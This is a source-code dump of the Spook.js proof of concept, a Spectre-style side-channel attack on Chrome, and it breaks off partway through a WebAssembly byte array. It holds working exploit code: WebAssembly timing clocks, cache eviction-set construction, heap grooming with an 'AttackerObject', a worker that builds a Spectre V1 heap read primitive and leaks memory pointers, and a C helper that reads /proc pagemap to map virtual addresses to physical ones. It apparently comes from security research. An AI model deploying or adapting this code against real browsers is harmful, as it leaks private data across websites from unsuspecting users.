64 | This proof-of-concept (PoC) shows Spook.js leaking data from outside its own javascript heap.
65 | The left pane shows the output from Spook.js running in this page and the right pane shows the victim
66 | website running within an iframe. The secret is copied many times in memory just to make it easier to
67 | see in the output.
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
--------------------------------------------------------------------------------
/static/js/evsets/clock.wasm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spookjs/spookjs-poc/34e478b820be682256a32bf74f8c02baccdcef3e/static/js/evsets/clock.wasm
--------------------------------------------------------------------------------
/static/js/evsets/clock.wat:
--------------------------------------------------------------------------------
1 | (module
2 | (import "env" "mem" (memory 2048 2048 shared))
3 | (func $main
4 | (loop $ccc
5 | ;;(i64.atomic.rmw.add (i32.const 256) (i64.const 1))
6 | (i64.store (i32.const 256) (i64.add (i64.load (i32.const 256)) (i64.const 1)))
7 | (br $ccc))
8 | )
9 | (start $main)
10 | )
11 |
--------------------------------------------------------------------------------
/static/js/evsets/main.js:
--------------------------------------------------------------------------------
1 | (function(exported){
2 |
3 | // Statistics
4 | function stats(data) {
5 | return {
6 | 'min' : Math.min.apply(0, data),
7 | 'max' : Math.max.apply(0, data),
8 | 'mean' : mean(data),
9 | 'median' : median(data),
10 | 'std': std(data),
11 | 'mode' : mode(data),
12 | 'toString' : function() {
13 | return `{min: ${this.min.toFixed(2)},\tmax: ${this.max.toFixed(2)},\tmean: ${this.mean.toFixed(2)},\tmedian: ${this.median.toFixed(2)},\tstd: ${this.std.toFixed(2)},\tmode: ${this.mode.map(e => e.toFixed(2))}}`;
14 | }
15 | };
16 | }
17 |
18 | function min(arr) {
19 | return Math.min.apply(0, arr);
20 | }
21 |
22 | function mean(arr) {
23 | return arr.reduce((a,b) => a+b) / arr.length;
24 | }
25 |
26 | function median(arr) {
27 | arr.sort((a,b) => a-b);
28 | return (arr.length % 2) ? arr[(arr.length / 2) | 0] : mean([arr[arr.length/2 - 1], arr[arr.length / 2]]);
29 | }
30 |
31 | function mode(arr) {
32 | var counter = {};
33 | var mode = [];
34 | var max = 0;
35 | for (var i in arr) {
36 | if (!(arr[i] in counter)) {
37 | counter[arr[i]] = 0;
38 | }
39 | counter[arr[i]]++;
40 | if (counter[arr[i]] == max) {
41 | mode.push(arr[i]);
42 | } else if (counter[arr[i]] > max) {
43 | max = counter[arr[i]];
44 | mode = [arr[i]];
45 | }
46 | }
47 | return mode;
48 | }
49 |
50 | function variance(arr) {
51 | var x = mean(arr);
52 | return arr.reduce((pre, cur) => pre + ((cur - x)**2)) / (arr.length - 1);
53 | }
54 |
55 | function std(arr) {
56 | return Math.sqrt(variance(arr));
57 | }
58 |
59 | // Overload
60 | Function.prototype.toSource = function() {
61 | return this.toString().slice(this.toString().indexOf('{')+1,-1);
62 | }
63 |
64 | Object.defineProperty(Array.prototype, 'chunk', {
65 | value: function(n){
66 | let results = [];
67 | let ceiled = this.length%n;
68 | let k = Math.ceil(this.length/n);
69 | let q = Math.floor(this.length/n);
70 | let c = 0;
71 | for (i=0; i setTimeout(r, 10)); // timeout to allow counter
142 | do {
143 | let r = 0;
144 | while (!cb(instance, evset, CONFLICT) && ++r < RETRY && evset.victim) {
145 | if (VERBOSE) log('retry');
146 | first = false;
147 | }
148 | if (r < RETRY) {
149 | RESULTS.push(evset.refs); // save eviction set
150 | evset.refs = evset.del.slice();
151 | evset.del = [];
152 | evset.relink(); // from new refs
153 | next = CONFLICT;
154 | if (VERBOSE) log('Find next (', evset.refs.length, ')');
155 | }
156 | else
157 | {
158 | next = CONFLICT;
159 | }
160 | } while (CONFLICT && evset.vics.length > 0 && evset.refs.length > ASSOC);
161 |
162 | const SETS = [];
163 | for (const set of RESULTS) {
164 | for (let offset = 0; offset < STRIDE; offset += 64){
165 | SETS.push(set.map(num => {
166 | return {
167 | offset: num - (OFFSET*64) + offset,
168 | };
169 | }));
170 | }
171 | }
172 |
173 | log('Found ' + SETS.length + ' different eviction sets');
174 |
175 | return SETS;
176 | }
177 |
178 | function cb(instance, evset, findall) {
179 |
180 | let {wasm_hit, wasm_miss} = instance.exports;
181 |
182 | const REP = 6;
183 | const T = 1000;
184 |
185 | const CLOCK = 256; // hardcoded offset in wasm
186 | const VICTIM = evset.victim|0;
187 | const PTR = evset.ptr|0;
188 |
189 | function runCalibration(title, hit, miss, warm) {
190 | for (let i=0; i t_miss) {
211 | return 0;
212 | } else {
213 | return ((Number(t_miss) + Number(t_hit) * 2) / 3);
214 | }
215 | }
216 | }
217 |
218 | const wasmMeasureOpt = {
219 | hit : function hit(vic) {
220 | let t, total = [];
221 | for (let i=0; i= THRESHOLD) {
261 | RESULTS[e].push(evset.victim);
262 | if (VERBOSE) log('\tanother, this belongs to a previous eviction set');
263 | evset.victim = evset.vics.pop();
264 | }
265 | e += 1;
266 | }
267 | t = median(wasmMeasureOpt.miss(evset.victim, evset.ptr));
268 | } while (evset.victim && t < THRESHOLD);
269 | if (!evset.victim) {
270 | if (VERBOSE) log('No more victims');
271 | return false;
272 | }
273 | next = false;
274 | }
275 |
276 | if (VERBOSE) log ('Starting reduction...');
277 | evset.groupReduction(wasmMeasureOpt.miss, THRESHOLD);
278 |
279 | if (evset.refs.length === evset.assoc) {
280 | //if (!NOLOG) log('Victim addr: ' + evset.victim);
281 | //if (!NOLOG) log('Eviction set: ' + evset.refs);
282 | if (RESULTS.length % 13 === 0) {
283 | log(`Constructed ${RESULTS.length + 1} sets`);
284 | }
285 | evset.del = evset.del.flat();
286 | return true;
287 | } else {
288 | while (evset.del.length > 0) {
289 | evset.relinkChunk();
290 | }
291 | if (VERBOSE) log('Failed: ' + evset.refs.length);
292 | return false;
293 | }
294 | }
295 |
296 | function EvSet(view, nblocks, start=8192, victim=4096, assoc=16, stride=4096, offset=0) {
297 |
298 | const RAND = true;
299 |
300 | /* private methods */
301 | this.genIndices = function (view, stride) {
302 | let arr = [], j = 0;
303 | for (let i=(stride)/4; i < (view.byteLength-this.start)/4; i += stride/4) {
304 | arr[j++] = this.start + this.offset + i*4;
305 | }
306 | arr.unshift(this.start + this.offset);
307 | return arr;
308 | }
309 |
310 | this.randomize = function (arr) {
311 | for (let i = arr.length; i; i--) {
312 | var j = Math.floor(Math.random() * i | 0) | 0;
313 | [arr[i - 1], arr[j]] = [arr[j], arr[i - 1]];
314 | }
315 | return arr;
316 | }
317 |
318 | this.indicesToLinkedList = function (buf, indices) {
319 | if (indices.length == 0) {
320 | this.ptr = 0;
321 | return;
322 | }
323 | let pre = this.ptr = indices[0];
324 | for (let i=1; i this.refs.length-1) { // removing last chunk
362 | view.setUint32(this.refs[this.refs.length-1], 0, true);
363 | } else { // removing middle chunk
364 | view.setUint32(this.refs[s-1], this.refs[s], true);
365 | }
366 | this.del.push(chunk); // right
367 | }
368 |
369 | this.relinkChunk = function relinkChunk() {
370 | let chunk = this.del.pop(); // right
371 | if (chunk === undefined) {
372 | return;
373 | }
374 | this.ptr = chunk[0];
375 | if (this.refs.length > 0) {
376 | view.setUint32(chunk[chunk.length-1], this.refs[0], true);
377 | }
378 | if (typeof(chunk) === 'number') {
379 | this.refs.unshift(chunk); // left
380 | } else {
381 | this.refs.unshift(...chunk); // left
382 | }
383 | }
384 |
385 | this.groupReduction = function groupReduction(miss, threshold) {
386 | const MAX = 20;
387 | let i = 0, r = 0;
388 | while (this.refs.length > this.assoc) {
389 | let m = this.refs.chunk(this.assoc+1);
390 | let found = false;
391 | for (let c in m) {
392 | this.unlinkChunk(m[c]);
393 | let t = median(miss(this.victim, this.ptr));
394 | if (t < threshold) {
395 | this.relinkChunk();
396 | } else {
397 | found = true;
398 | break;
399 | }
400 | }
401 | if (!found) {
402 | r += 1;
403 | if (r < MAX) {
404 | this.relinkChunk();
405 | if (this.del.length === 0) break;
406 | } else {
407 | while (this.del.length > 0) {
408 | this.relinkChunk();
409 | }
410 | break;
411 | }
412 | }
413 | if (VERBOSE) if (!(i++ % 100)) print('\tremaining size: ', this.refs.length);
414 | }
415 | }
416 |
417 | this.linkElement = function linkElement(e) {
418 | if (e === undefined) return;
419 | this.ptr = e;
420 | if (this.refs.length > 0) {
421 | view.setUint32(e, this.refs[0], true);
422 | } else {
423 | view.setUint32(e, 0, true);
424 | }
425 | this.refs.unshift(e); // left
426 | }
427 |
428 | this.relink = function () {
429 | this.indicesToLinkedList(this.buffer, this.refs);
430 | }
431 |
432 | this.genConflictSet = function (miss, threshold) {
433 | let indices = this.refs; // copy original indices
434 | this.refs = [];
435 | this.vics = [];
436 | let pre = this.ptr = indices[0], i = 0, e, l = indices.length;
437 | for (i=0; i 0) {
442 | e = indices.pop();
443 | view.setUint32(e, 0, true); // chrome's COW
444 | let t = miss(e, this.ptr);
445 | if (Array.isArray(t)) {
446 | t = median(t);
447 | }
448 | if (t < threshold) {
449 | this.linkElement(e);
450 | } else {
451 | this.vics.push(e);
452 | // break;
453 | }
454 | }
455 | first = true;
456 | }
457 | /* end-of-public */
458 | }
459 |
460 | })(self);
--------------------------------------------------------------------------------
/static/js/evsets/poc.wasm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spookjs/spookjs-poc/34e478b820be682256a32bf74f8c02baccdcef3e/static/js/evsets/poc.wasm
--------------------------------------------------------------------------------
/static/js/evsets/poc.wat:
--------------------------------------------------------------------------------
1 | (module
2 | (import "env" "mem" (memory 2048 2048 shared))
3 | (export "wasm_hit" (func $hit))
4 | (export "wasm_miss" (func $miss))
5 |
6 | (func $hit (param $victim i32) (result i64)
7 | (local $t0 i64)
8 | (local $t1 i64)
9 | (local $td i64)
10 | ;; acces victim
11 | (set_local $td (i64.load (i32.and (i32.const 0xffffffff) (get_local $victim))))
12 | ;; t0 (mem[0])
13 | (set_local $t0 (i64.load (i32.and (i32.const 0xffffffff) (i32.or (i32.const 256) (i32.eqz (i64.eqz (get_local $td)))))))
14 | ;; re-access
15 | (set_local $td (i64.load (i32.and (i32.const 0xffffffff) (i32.or (get_local $victim) (i64.eqz (get_local $t0))))))
16 | ;; t1 (mem[0])
17 | (set_local $t1 (i64.load (i32.and (i32.const 0xffffffff) (i32.or (i32.const 256) (i32.eqz (i64.eqz (get_local $td)))))))
18 | (i64.sub (get_local $t1) (get_local $t0))
19 | return)
20 |
21 | (func $miss (param $victim i32) (param $ptr i32) (result i64)
22 | (local $t0 i64)
23 | (local $t1 i64)
24 | (local $td i64)
25 | ;; acces victim
26 | (set_local $td (i64.load (i32.and (i32.const 0xffffffff) (get_local $victim))))
27 | ;; traverse
28 | (set_local $td (i64.extend_u/i32 (i32.or (i32.eqz (i64.eqz (get_local $td))) (get_local $ptr))))
29 | (loop $iter
30 | (set_local $td (i64.load (i32.wrap/i64 (get_local $td))))
31 | (br_if $iter (i32.eqz (i64.eqz (get_local $td)))))
32 | ;; t0 (mem[0])
33 | (set_local $t0 (i64.load (i32.and (i32.const 0xffffffff) (i32.or (i32.const 256) (i32.eqz (i64.eqz (get_local $td)))))))
34 | ;; re-access
35 | (set_local $td (i64.load (i32.and (i32.const 0xffffffff) (i32.or (get_local $victim) (i64.eqz (get_local $t0))))))
36 | ;; t1 (mem[0])
37 | (set_local $t1 (i64.load (i32.and (i32.const 0xffffffff) (i32.or (i32.const 256) (i32.eqz (i64.eqz (get_local $td)))))))
38 | (i64.sub (get_local $t1) (get_local $t0))
39 | return)
40 | )
41 |
--------------------------------------------------------------------------------
/static/js/evsets/verify_addr.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | # Run:
4 | # $ google-chrome-beta --user-data-dir=/tmp/tmp.u9lo18kaTh --js-flags='--allow-natives-syntax --experimental-wasm-bigint' http://localhost:8000/ | ./verify_addr.sh
5 | #
6 | # Dependencies:
7 | # --allow-natives-stynax only used to verify offsets via command line
8 | # --experimental-wasm-bigint will be soon by default
9 | # pmap used to find offset of shared buffer (128*1024 KB)
10 | # gcc virt_to_phys.c -o virt_to_phys (used to translate virtual to physical, get slice and index set)
11 |
12 | declare -A allocated
13 |
14 | while true; do
15 |
16 | while read line; do
17 | if [[ $line =~ "Prepare new evset" ]]; then
18 | break;
19 | fi
20 | done
21 |
22 | # find right pid checking large allocated buffer
23 | base=""
24 | pids=$(ps aux | grep 'chrome-beta/chrome --type=renderer' | awk '{print $2}')
25 | for p in $pids; do
26 | bases=$(pmap $p | grep '131072K' | awk '{print $1}')
27 | if [ ! -z "$bases" ]; then
28 | pid=$p
29 | break;
30 | fi
31 | done
32 | # find right allocated buffer if no gc yet
33 | for c in $bases; do
34 | if [ -z "${allocated[c]}" ]; then
35 | allocated+=(["$c"]=1) # add element to avoid repeat
36 | base="0x$c"
37 | break;
38 | fi
39 | done
40 | if [ -z "$base" ]; then
41 | echo "[!] Error"
42 | exit 1
43 | fi
44 | echo "PID: $pid"
45 | echo "Virtual base: $base"
46 |
47 | conflict=0
48 |
49 | while read line; do
50 | if [[ $line =~ "Creating conflict set..." ]]; then
51 | conflict=1
52 | elif [[ $line =~ "Victim addr:" ]]; then
53 | vic="$(echo $line | cut -d: -f 3 | cut -d\> -f 1)"
54 | vic="$(printf '%x ' $(($base+$vic)))"
55 | elif [[ $line =~ "Eviction set:" ]]; then
56 | addresses="$(echo $line | cut -d: -f 3 | cut -d\> -f 1 | tr ',' ' ')"
57 | vaddrs=$(for o in $addresses; do printf '%x ' $(($base+$o)); done)
58 | echo "Physical addresses:"
59 | # needs sudo to work
60 | sudo ./virt_to_phys $pid $vic $vaddrs
61 | echo "============================================"
62 | elif [[ $line =~ "EOF" ]]; then
63 | break;
64 | fi
65 | done
66 |
67 | done
68 |
--------------------------------------------------------------------------------
/static/js/evsets/virt_to_phys.c:
--------------------------------------------------------------------------------
1 | /* from https://github.com/cgvwzq/evsets/blob/master/micro.c */
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #define PAGE_BITS 12
10 | #define LINE_BITS 6
11 | #define SLICE_BITS 3
12 | #define SET_BITS 10
13 |
14 | #define PAGE_SIZE2 (1 << PAGE_BITS)
15 | #define LINE_SIZE (1 << LINE_BITS)
16 | #define CACHE_SLICES (1 << SLICE_BITS)
17 | #define CACHE_SETS (1 << SET_BITS)
18 |
19 | unsigned long long
20 | vtop(unsigned pid, unsigned long long vaddr)
21 | {
22 | char path[1024];
23 | sprintf (path, "/proc/%u/pagemap", pid);
24 | int fd = open (path, O_RDONLY);
25 | if (fd < 0)
26 | {
27 | return -1;
28 | }
29 |
30 | unsigned long long paddr = -1;
31 | unsigned long long index = (vaddr / PAGE_SIZE2) * sizeof(paddr);
32 | if (pread (fd, &paddr, sizeof(paddr), index) != sizeof(paddr))
33 | {
34 | return -1;
35 | }
36 | close (fd);
37 | paddr &= 0x7fffffffffffff;
38 | return (paddr << PAGE_BITS) | (vaddr & (PAGE_SIZE2-1));
39 | }
40 |
41 | unsigned int
42 | count_bits(unsigned long long n)
43 | {
44 | unsigned int count = 0;
45 | while (n)
46 | {
47 |
48 | n &= (n-1) ;
49 | count++;
50 | }
51 | return count;
52 | }
53 |
54 | unsigned int
55 | nbits(unsigned long long n)
56 | {
57 | unsigned int ret = 0;
58 | n = n >> 1;
59 | while (n > 0)
60 | {
61 | n >>= 1;
62 | ret++;
63 | }
64 | return ret;
65 | }
66 |
67 | unsigned long long
68 | ptos(unsigned long long paddr, unsigned long long bits)
69 | {
70 | unsigned long long ret = 0;
71 | unsigned long long mask[3] = {0x1b5f575440ULL, 0x2eb5faa880ULL, 0x3cccc93100ULL}; // according to Maurice et al.
72 | switch (bits)
73 | {
74 | case 3:
75 | ret = (ret << 1) | (unsigned long long)(count_bits(mask[2] & paddr) % 2);
76 | case 2:
77 | ret = (ret << 1) | (unsigned long long)(count_bits(mask[1] & paddr) % 2);
78 | case 1:
79 | ret = (ret << 1) | (unsigned long long)(count_bits(mask[0] & paddr) % 2);
80 | default:
81 | break;
82 | }
83 | return ret;
84 | }
85 |
86 | void
87 | check(unsigned int pid, unsigned long long *virtual_addresses, unsigned int length)
88 | {
89 | unsigned int cache_sets = 1024;
90 |
91 | unsigned long long paddr = 0, cacheset = 0, slice = 0;
92 |
93 | for (unsigned int i = 0; i < length; i++)
94 | {
95 | paddr = vtop (pid, virtual_addresses[i]);
96 | cacheset = (paddr >> LINE_BITS) & (CACHE_SETS - 1);
97 | slice = ptos (paddr, SLICE_BITS);
98 | printf(" - element pfn: 0x%llx, cache set: 0x%llx, slice: 0x%llx\n", paddr, cacheset, slice);
99 | }
100 | }
101 |
102 | int
103 | main(int argc, char **argv)
104 | {
105 | unsigned int i = 0;
106 | if (argc < 3)
107 | {
108 | printf ("[!] Use: %s pid 0x1 0x2 0x3 ...\n", argv[0]);
109 | return 1;
110 | }
111 | unsigned int pid = atoi (argv[1]);
112 | unsigned int len = argc - 2;
113 | unsigned long long *addrs = malloc (sizeof(unsigned long long)*len);
114 | char *eos = argv[argc-1] + strlen(argv[argc-1]);
115 | if (!addrs)
116 | {
117 | printf ("[!] Err: allocate\n");
118 | return 1;
119 | }
120 | for (i = 2; i < argc; i++)
121 | {
122 | addrs[i-2] = strtoull (argv[i], &eos, 16);
123 | }
124 |
125 | check (pid, addrs, len);
126 |
127 |
128 | }
129 |
--------------------------------------------------------------------------------
/static/js/evsets/wasmWorker.js:
--------------------------------------------------------------------------------
1 | self.onmessage = function(evt) {
2 | const {module, memory, cb} = evt.data;
3 | const instance = new WebAssembly.Instance(module, {env: {mem: memory}});
4 | if (cb) {
5 | let fn = new Function('instance', 'mem', cb);
6 | fn(instance, memory);
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/static/js/frame-worker.js:
--------------------------------------------------------------------------------
1 | self.importScripts('leaky-page/leaky-page.js', 'util.js');
2 |
3 | /**
4 | * Construct a heap read primitive using leaky-page (Spectre V1 - limited to the javascript execution heap)
5 | * Calculate an offset to the last array, and read its ext_ptr_2 and base_ptr fields
6 | * These fields can be used to construct a pointer to the data for the last array.
7 | * Construct this pointer and send it back to spook.js running in the main frame.
8 | */
9 | function main() {
10 | const secret = " secret secret secret secret 123";
11 | const secretData = Array.from(secret).map(x => x.charCodeAt(0));
12 |
13 | const result = createHeapReadPrimitive(secretData);
14 | if (result === null) {
15 | return null;
16 | }
17 |
18 | const {pageOffset, index, leak} = result;
19 |
20 | // Construct an offset from the SpectreV1 array to the end of the last array (chosen arbitrarily)
21 | const ARRAY_LENGTH = 0xA4;
22 | const ARRAY_END = 0x20 + ARRAY_LENGTH * (64 - index - 1);
23 |
24 | // Verify that the primitive was constructed correctly.
25 | const value = mode(100, () => leak(ARRAY_END - 32));
26 | if (value !== 0x3F) {
27 | err("Failed to construct heap read primitive");
28 | return;
29 | }
30 | log("Heap read primitive successfully constructed.");
31 |
32 | // Calculate an offset to the beginning of the last array
33 | const ARRAY_START = ARRAY_END - ARRAY_LENGTH + 0x38;
34 |
35 | // Read ext_ptr_2
36 | const BasePointer = BigInt(
37 | (mode(100, x => leak(ARRAY_START + 44)) << 0) |
38 | (mode(100, x => leak(ARRAY_START + 45)) << 8)
39 | ) << 32n;
40 |
41 | log(`Leaked heap pointer : 0x${BasePointer.toString(16)}`);
42 |
43 | // Read base_ptr
44 | const ArrayPointer = BigInt(
45 | (mode(100, x => leak(ARRAY_START + 48)) << 0) |
46 | (mode(100, x => leak(ARRAY_START + 49)) << 8) |
47 | (mode(100, x => leak(ARRAY_START + 50)) << 16) |
48 | (mode(100, x => leak(ARRAY_START + 51)) << 24)
49 | ) + 0x07n + BasePointer;
50 | log(`Leaked array pointer: 0x${ArrayPointer.toString(16)}`);
51 |
52 | postMessage({ type: 'array_ptr', address: ArrayPointer });
53 | }
54 | main();
55 |
56 | function onmessage() { }
--------------------------------------------------------------------------------
/static/js/frame.js:
--------------------------------------------------------------------------------
1 | function log(msg) {
2 | window.parent.postMessage({type: 'log', message: msg});
3 | }
4 |
5 | async function startWorker() {
6 | log("Starting worker!");
7 |
8 | const workerThread = new Worker('js/frame-worker.js');
9 |
10 | workerThread.onmessage = async function handle(event) {
11 | let message = event.data;
12 |
13 | switch (message.type) {
14 | case 'log':
15 | log(message.message);
16 | break;
17 |
18 | // Recoverable errors
19 | case 'error':
20 | log(`ERROR: ${message.message}`);
21 | workerThread.terminate();
22 | location.reload();
23 | break;
24 |
25 | // Unrecoverable errors
26 | case 'exception':
27 | log(`ERROR: ${message.message}`);
28 | break;
29 |
30 | // Forward this message to Spook.js
31 | case 'array_ptr':
32 | log(`Forwarding array pointer to main window`);
33 | window.parent.postMessage(message);
34 | break;
35 |
36 | default:
37 | log("Unhandled message: " + JSON.stringify(message));
38 | break;
39 | }
40 | };
41 | }
42 |
43 | startWorker();
44 |
--------------------------------------------------------------------------------
/static/js/leaky-page/leaky-page.js:
--------------------------------------------------------------------------------
1 | const ARRAY_VALUE = 0x5A;
2 |
3 | const EVICTION_LIST_SIZE = 200;
4 | const PAGE_SZ = 4096;
5 | const CACHE_LINE_SZ = 64;
6 | const CACHE_LINES_PER_PAGE = PAGE_SZ/CACHE_LINE_SZ;
7 | const CACHE_WAYS = 8;
8 | const ELEMENT_SZ = 4;
9 | const testReps = 1;
10 |
11 | function triggerGC() {
12 | for (let i = 0; i < 50; i++) {
13 | new ArrayBuffer(1024*1024);
14 | }
15 | }
16 |
17 | // Insert for spook.js
18 | class AttackerObject {
19 | constructor(i) {
20 | this.f0 = 0x10101010 >> 1;
21 | this.f1 = 0x20202020 >> 1;
22 | this.f2 = 0x30303030 >> 1;
23 | this.f3 = 0x40404040 >> 1;
24 | this.f4 = 0x50505050 >> 1;
25 | this.f5 = 0x60606060 >> 1;
26 | this.f6 = 0x70707070 >> 1;
27 | this.f7 = 0x80808080 >> 1;
28 | this.f8 = 0x90909090 >> 1;
29 | this.f9 = 0xa0a0a0a0 >> 1;
30 | this.f10 = 0xb0b0b0b0 >> 1;
31 | this.f11 = 0xc0c0c0c0 >> 1;
32 |
33 |
34 | this.f11 = (i << 7) | (i << 15);
35 | }
36 | }
37 |
38 | const typedArrays = new Array(256);
39 | typedArrays.fill(Object);
40 | triggerGC();
41 | // TODO: this can be a prefilled array
42 | const leakMe = [];
43 | for (let i = 0; i < 554; i++) {
44 | leakMe[i] = 0;
45 | }
46 | triggerGC();
47 | for (let i = 0; i < 64; i++) {
48 | typedArrays[i] = new Uint8Array(0x20);
49 | triggerGC();
50 | }
51 | triggerGC();
52 | for (let i = 64; i < 128; i++) {
53 | typedArrays[i] = new AttackerObject(i);
54 | triggerGC();
55 | }
56 | triggerGC();
57 |
58 | function log(message) {
59 | postMessage({type: 'log', message: message});
60 | }
61 |
62 | function err(message) {
63 | postMessage({type: 'error', message: message});
64 | }
65 |
66 | // The wasm code can be found in cachetools.wat
67 | // In summary, it exposes two similar functions that
68 | // * prime a given cache set with known values
69 | // * run a callback
70 | // * repeatedly access the chosen values while keeping one unknown entry in the
71 | // cache alive
72 | // If the callback was using this cache set, we will see repeated l1 cache
73 | // misses. If not, we will see repeated cache hits.
74 | // The two functions differ from each other by how often the "keepAlive" element
75 | // is accessed. Accessing it more often makes it more stable, but also reduces
76 | // the timing difference.
77 | const wasmBytes = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x1a, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x11, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x02, 0x22, 0x02, 0x03, 0x65, 0x6e, 0x76, 0x03, 0x6d, 0x65, 0x6d, 0x02, 0x01, 0x80, 0x40, 0x80, 0x40, 0x03, 0x65, 0x6e, 0x76, 0x0c, 0x70, 0x6c, 0x72, 0x75, 0x43, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x00, 0x00, 0x03, 0x03, 0x02, 0x01, 0x01, 0x07, 0x2a, 0x02, 0x11, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x00, 0x01, 0x12, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x32, 0x00, 0x02, 0x0a, 0x99, 0x05, 0x02, 0xa0, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b, 0xf4, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 